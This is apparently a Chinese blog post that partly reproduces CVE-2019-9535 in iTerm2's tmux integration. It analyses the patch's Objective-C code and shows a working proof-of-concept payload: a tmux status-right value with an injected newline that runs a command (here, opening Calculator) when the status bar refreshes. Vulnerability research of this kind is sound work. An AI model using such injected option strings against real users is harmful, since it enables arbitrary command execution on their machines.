cmd执行命令不等待返回值_[CVE20199535] Iterm2命令执行的不完整复现

CVE-2019-9535

昨天爆出了一个Iterm2的代码执行漏洞,看着非常的刺激吓人,因为我也在用,所以趁热赶紧尝试复现一下。源头文章是来自:https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/

mozilla他们通过MOSS自动审计出来的(?)。

历程

首先通过关键字找到对应的commit记录:https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2b5724f820953d717fbeb0c

cf2d50021c147dae00b9581b67c75226.png

根据commit描述,可以看到这个就是CVE-2019-9535的补丁,而洞的根本原因大概可以了解到。

  1. 有关于 session name

  2. 与 set-titles-stringstatus-left, and status-right这三个变量有关。

  3. 是轮询获取title的,所以应该是自动触发的。

我之前都是没有使用过Tmux的,而是使用Screen,所以Iterm2并没有集成Tmux环境。

安装Tmux集成环境

根据Iterm2文档:https://iterm2.com/documentation-tmux-integration.html

74726584451463693af189c1385de4c9.png

使用homebrew自动安装即可-- brew install tmux

然后就能使用 tmux-CC建立起tmux服务了。启动后,会新建一个tmux窗口

22f2bace7f4f59fd9c2fb4bb9466e11f.png

Tmux命令

根据man文档,能够很快的找到Tmux相关的指令以及参数:http://man7.org/linux/man-pages/man1/tmux.1.html

set-titles-string string

String used to set the client terminal title if set-titles is

on. Formats are expanded, see the FORMATS section.

status-left string

Display string (by default the session name) to the left of the

status line. string will be passed through strftime(3). Also

see the FORMATS and STYLES sections.

For details on how the names and titles can be set see the

NAMES AND TITLES section.

Examples are:

#(sysctl vm.loadavg)

#[fg=yellow,bold]#(apm -l)%%#[default] [#S]

The default is ‘[#S] ’.

status-right string

Display string to the right of the status line. By default,

the current pane title in double quotes, the date and the time

are shown. As with status-left, string will be passed to

strftime(3) and character pairs are replaced.

通过文档,可以发现,这三个都是字符串类型的变量。而根据描述其默认都是打印出 session name的值。根据猜测,这三个应该是平行的Sink,所以接下来我们需要去找到漏洞的Source。

简单审计

接下来带入到补丁中看。根据关键字很快的定位到代码

abf73bfbefb9503e21d01528925dd714.png

审计一下修补前的代码

- (void)requestUpdates {

_accelerated = NO;

[_gateway sendCommand:@"display-message -p \"#{status-left}\"" responseTarget:self responseSelector:@selector(handleStatusLeftResponse:)];

[_gateway sendCommand:@"display-message -p \"#{status-right}\"" responseTarget:self responseSelector:@selector(handleStatusRightResponse:)];

}

其实我也不知道这是什么语言...但是还是硬着头皮看下去。根据关键字判断,这里是将 display-message-p"#{status-right}"命令的返回值传递到了 handleStatusrightResponse函数中。
我们可以在Tmux Server中执行Command,看一下这句命令的返回值是啥

88e6b16168bd5c9c97e9ae1baf7d5a6b.png

接着把返回值传递进handleStatusRightResponse函数,这里可以看到在handleStatusRightResponse函数中,执行命令之前,对参数进行了一次过滤,很明显是防止命令注入的,此时答案呼之欲出:这就是个二次的(Tmux)命令注入啊!

- (void)handleStatusrightResponse:(NSString *)response {

if (!response) {

return;

}

NSString *command = [NSString stringWithFormat:@"display-message -p \"%@\"", [self escapedString:response]];

[_gateway sendCommand:command responseTarget:self responseSelector:@selector(handleStatusrightValueExpansionResponse:)];

}

- (NSString *)escapedString:(NSString *)string {

return [[string stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]

stringByReplacingOccurrencesOfString:@"\"" withString:@"\\\""];

}

根据原文当中的提示,需要用户运行一些无危害的命令,而这个无危害的命令应该就是对 status-right进行赋值:

tmux set-option -g status-right "[#S]"

这里便是攻击的Source点了,第一次 display-message-p"#{status-right}",返回"[#S]",然后将其拼接入第二次 display-message-- display-message-p"[#S]",但是根据资料,以及测试,并没有办法一行执行多条语句,并且由于转义无法逃逸出双引号的包裹,此时不由的想到了CRLF。

根据文档得知 run可以运行程序,尝试在Server console中执行命令:

display -p 1

run 'open /Applications/Calculator.app'

65f395553f9f7734855fbfd27dd2e684.png

可以看到,两条语句都成功执行。接下来测试第一条语句错误,第二条语句是否会执行:

display -p "1

run 'open /Applications/Calculator.app'

此时,第一条命令并没有闭合,所以无法执行,但第二条语句还是成功执行了

b445867904a75c93ed6c312e9915ba15.png

此时,攻击链就完整了。

首先欺骗用户输入:

tmux set-option -g status-right "#{?window_bigger,[#{window_offset_x}#,#{window_offset_y}] ,}\"\"#{=21:pane_title}\" %H:%M %d-%b-%y

run 'open /Applications/Calculator.app'#"

在启动Tmux的时候,由于Status Bars需要轮询Tmux的 status-right,用于更新Iterm2的显示,所以会自动触发上述漏洞链,造成代码执行:

e9f975427c332bdbd0bd724450ce2569.png

至此,起码是命令执行了。这样的利用链不止一条,除了 status-right以外, status-leftset-titles-string的利用链也是同样原理。

关于Session name

一开始把目光放在了 Escapesequences上,以为是自动触发的漏洞。但是怎么样都没办法找到利用点,不过应该只是我没找到...

根据文档

Control sequences in tmux (like \e]0;title\\\e) modify the session name.

printf "\e]0;title\\\e" 可以修改Session name为title # 需要先打开set-titles(set-option -g set-titles on)

allow-rename [on | off]

Allow programs in the pane to change the window name using a

terminal escape sequence (\ek...\e\\).

printf "\ekWindows_NAME\e\\" 可以自动修改窗口名,需要打开allow-rename

我认为这一条线才是洞主演示视频中的自动触发的线,只要终端中打印了对应的 Escapesequences则会触发修改字段,从而将攻击者修改的字段注入进命令中,可惜我并没有找到链。并且这条线需要用户开启对应设置。

fbe101a82ca1ea2ef1e6b34c13816b75.png

首先也是Iterm轮询客户端的标题,进行自动更新:

- (void)installTmuxTitleMonitor {

if (_tmuxTitleMonitor) {

return;

}

__weak __typeof(self) weakSelf = self;

_tmuxTitleMonitor = [[iTermTmuxOptionMonitor alloc] initWithGateway:_tmuxController.gateway

scope:self.variablesScope

format:@"#{pane_title}"

target:[NSString stringWithFormat:@"%%%@", @(self.tmuxPane)]

variableName:iTermVariableKeySessionTmuxPaneTitle

block:^(NSString * _Nonnull title) {

if (title) {

[weakSelf setSessionSpecificProfileValues:@{ KEY_TMUX_PANE_TITLE: title ?: @""}];

[weakSelf.delegate sessionDidUpdatePaneTitle:self];

}

}];

[_tmuxTitleMonitor updateOnce];

}

- (NSString *)escapedFormat {

return [[_format stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]

stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];

}

- (void)update:(NSTimer *)timer {

[self updateOnce];

}

- (void)updateOnce {

if (_haveOutstandingRequest) {

DLog(@"Not making a request because one is outstanding");

return;

}

_haveOutstandingRequest = YES;

NSString *command = [NSString stringWithFormat:@"display-message -t '%@' -p '%@'", _target, self.escapedFormat];

DLog(@"Request option with command %@", command);

[self.gateway sendCommand:command

responseTarget:self

responseSelector:@selector(didFetch:)

responseObject:nil

flags:kTmuxGatewayCommandShouldTolerateErrors];

}

- (void)didFetch:(NSString *)value {

DLog(@"Did fetch %@", value);

if (!value) {

// Probably the pane went away and we'll be dealloced soon.

return;

}

_haveOutstandingRequest = NO;

if (_variableName) {

[self.scope setValue:value forVariableNamed:_variableName];

}

if (_block) {

_block(value);

}

}

这咋是个回调-回调函数....

block:^(NSString * _Nonnull title) {

if (title) {

[weakSelf setSessionSpecificProfileValues:@{ KEY_TMUX_PANE_TITLE: title ?: @""}];

[weakSelf.delegate sessionDidUpdatePaneTitle:self];

}

}];

- (BOOL)onUpdateTitle {

NSString *tmuxPaneTitle = [self stringForKey:KEY_TMUX_PANE_TITLE];

if (!tmuxPaneTitle) {

return NO;

}

if ([_profileNameFieldForEditCurrentSession textFieldIsFirstResponder] && _profileNameFieldForEditCurrentSession.window.isKeyWindow) {

// Don't allow it to change to a server-set value during editing.

return YES;

}

_profileNameFieldForEditCurrentSession.stringValue = tmuxPaneTitle;

return YES;

}

实际上就是把我们的pane标题传入到了block这个函数中。然后实际就是把标题赋值给了KEYTMUXPANETITLE这个全局变量(全大写,应该是全局吧...),最后传递给了profileNameFieldForEditCurrentSession。

跟到这里就无疾而终了,因为从始自终都只执行了一次 display-message,没有将 #{pane_title}的值拼接入某个语句,当然也有可能是在另外一个文件使用到了,但我实在是看不懂这个语言,并且Iterm2偷偷把我下的所有版本都给升级到最新了,只好作罢。

最后,在3.30版本是一个分水岭,以这版本为界限,增加了修改标题的渠道,低于这个版本的只能去设置里面改,而高于这个版本的则可以使用 Escapesequences.

演示

< 3.30(实际上就是个CRLF->命令注入,注入点跟上述的不大一样,不过没继续跟)

3.3.0=< version <3.3.6

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值